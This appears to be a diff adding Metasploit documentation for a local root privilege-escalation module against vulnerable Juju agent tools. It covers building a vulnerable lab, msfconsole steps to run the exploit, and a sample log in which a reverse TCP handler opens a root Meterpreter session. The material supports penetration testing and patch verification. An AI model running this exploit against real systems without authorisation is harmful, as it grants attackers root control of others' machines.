|
| 1 | +## Description |
| 2 | + |
| 3 | + This module attempts to gain root privileges on Juju agent systems running the juju-run agent utility. |
| 4 | + |
| 5 | + Juju agent systems running agent tools prior to version 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket to manage software ("units") without setting appropriate permissions, allowing unprivileged local users to execute arbitrary commands as root. |
| 6 | + |
| 7 | + |
| 8 | +## Vulnerable Application |
| 9 | + |
| 10 | + [Juju](https://juju.ubuntu.com/) is an open source application modelling tool designed for devops to deploy, configure, scale and operate software on public and private clouds. |
| 11 | + |
| 12 | + * Homepage: https://juju.ubuntu.com/ |
| 13 | + * Github: https://github.com/juju/juju |
| 14 | + |
| 15 | + This module has been tested successfully with Juju agent tools: |
| 16 | + |
| 17 | + * Versions 1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 |
| 18 | + |
| 19 | + Deployed by Juju: |
| 20 | + |
| 21 | + * Versions 1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64 |
| 22 | + |
| 23 | + |
| 24 | +## Installation |
| 25 | + |
| 26 | + Two systems are required. The first runs Juju and the second runs the Juju agent tools. |
| 27 | + |
| 28 | + Ensure the client system has SSH installed and network accessible. |
| 29 | + |
| 30 | + The following installation instructions are for Ubuntu 14.04.1 LTS ("trusty"). |
| 31 | + |
| 32 | + ```sh |
| 33 | + # List avilable juju packages |
| 34 | + apt-cache showpkg juju |
| 35 | + |
| 36 | + # Install a vulnerale package |
| 37 | + apt-get install juju-core=1.18.1-0ubuntu1 |
| 38 | + |
| 39 | + # Generate a config file: |
| 40 | + bootstrap init |
| 41 | + ``` |
| 42 | + |
| 43 | + Edit the `manual` section of the newly generated config file, adding the appropriate `bootstrap-host` and `bootstrap-user` for the client system, ensuring the appropriate `default-series` is set (`trusty` for Ububtu 14.x). |
| 44 | + |
| 45 | + ``` |
| 46 | + manual: |
| 47 | + bootstrap-host: juju-client.local # Remote host |
| 48 | + bootstrap-user: user # User for SSH access |
| 49 | + default-series: trusty # Remote host OS series |
| 50 | + ``` |
| 51 | + |
| 52 | + Switch to the `manual` environment and bootstrap the remote host specified above: |
| 53 | + |
| 54 | + ```sh |
| 55 | + juju switch manual |
| 56 | + juju bootstrap |
| 57 | + ``` |
| 58 | + |
| 59 | + Once the bootstrapping is complete, check if it was successful. You should see a machine with ID# 0: |
| 60 | + |
| 61 | + ```sh |
| 62 | + juju stat |
| 63 | + ``` |
| 64 | + |
| 65 | + Deploy any unit to the machine with ID# 0. Units can be found in the [Juju store](https://jujucharms.com/store). |
| 66 | + |
| 67 | + ```sh |
| 68 | + juju deploy zabbix-agent --to 0 |
| 69 | + ``` |
| 70 | + |
| 71 | + Check if it worked: |
| 72 | + |
| 73 | + ```sh |
| 74 | + watch juju stat |
| 75 | + ``` |
| 76 | + |
| 77 | + |
| 78 | + Optionally, to test various versions of the juju agent utilities, the juju tools can be updated remotely. (Note: Downgrading is more difficult.) |
| 79 | + |
| 80 | + ```sh |
| 81 | + # You may or may not need to `set-env` the upstream tools URL: |
| 82 | + juju set-env agent-metadata-url=https://streams.canonical.com/juju/tools |
| 83 | + juju set-env agent-stream=proposed |
| 84 | + |
| 85 | + # Be careful to select a version which exists, otherwise bad things will happen. |
| 86 | + juju upgrade-juju --version 1.25.2 |
| 87 | + ``` |
| 88 | + |
| 89 | + |
| 90 | +## Verification Steps |
| 91 | + |
| 92 | + 1. Start `msfconsole` |
| 93 | + 2. Get a session |
| 94 | + 3. Do: `use exploit/linux/local/juju_run_agent_priv_esc` |
| 95 | + 4. Do: `set SESSION [SESSION]` |
| 96 | + 5. Do: `check` |
| 97 | + 6. Do: `run` |
| 98 | + 7. You should get a new root session |
| 99 | + |
| 100 | + |
| 101 | +## Options |
| 102 | + |
| 103 | + **SESSION** |
| 104 | + |
| 105 | + Which session to use, which can be viewed with `sessions` |
| 106 | + |
| 107 | + **WritableDir** |
| 108 | + |
| 109 | + A writable directory file system path. (default: `/tmp`) |
| 110 | + |
| 111 | + |
| 112 | +## Scenarios |
| 113 | + |
| 114 | + ``` |
| 115 | + msf exploit(multi/handler) > use exploit/linux/local/juju_run_agent_priv_esc |
| 116 | + msf exploit(linux/local/juju_run_agent_priv_esc) > set session 1 |
| 117 | + session => 1 |
| 118 | + msf exploit(linux/local/juju_run_agent_priv_esc) > run |
| 119 | +
|
| 120 | + [!] SESSION may not be compatible with this module. |
| 121 | + [*] Started reverse TCP handler on 172.16.191.244:4444 |
| 122 | + [*] Trying 3 units... |
| 123 | + [+] Unit "unit-zabbix-agent-1" uses a privileged socket |
| 124 | + [*] Writing '/tmp/.tp9oGmPSvx' (207 bytes) ... |
| 125 | + [*] Sending stage (857352 bytes) to 172.16.191.130 |
| 126 | + [*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.130:43760) at 2018-01-13 12:33:48 -0500 |
| 127 | + [+] Deleted /tmp/.tp9oGmPSvx |
| 128 | +
|
| 129 | + meterpreter > getuid |
| 130 | + Server username: uid=0, gid=0, euid=0, egid=0 |
| 131 | + meterpreter > sysinfo |
| 132 | + Computer : 172.16.191.130 |
| 133 | + OS : Ubuntu 14.04 (Linux 3.13.0-32-generic) |
| 134 | + Architecture : i686 |
| 135 | + BuildTuple : i486-linux-musl |
| 136 | + Meterpreter : x86/linux |
| 137 | + ``` |
| 138 | + |
0 commit comments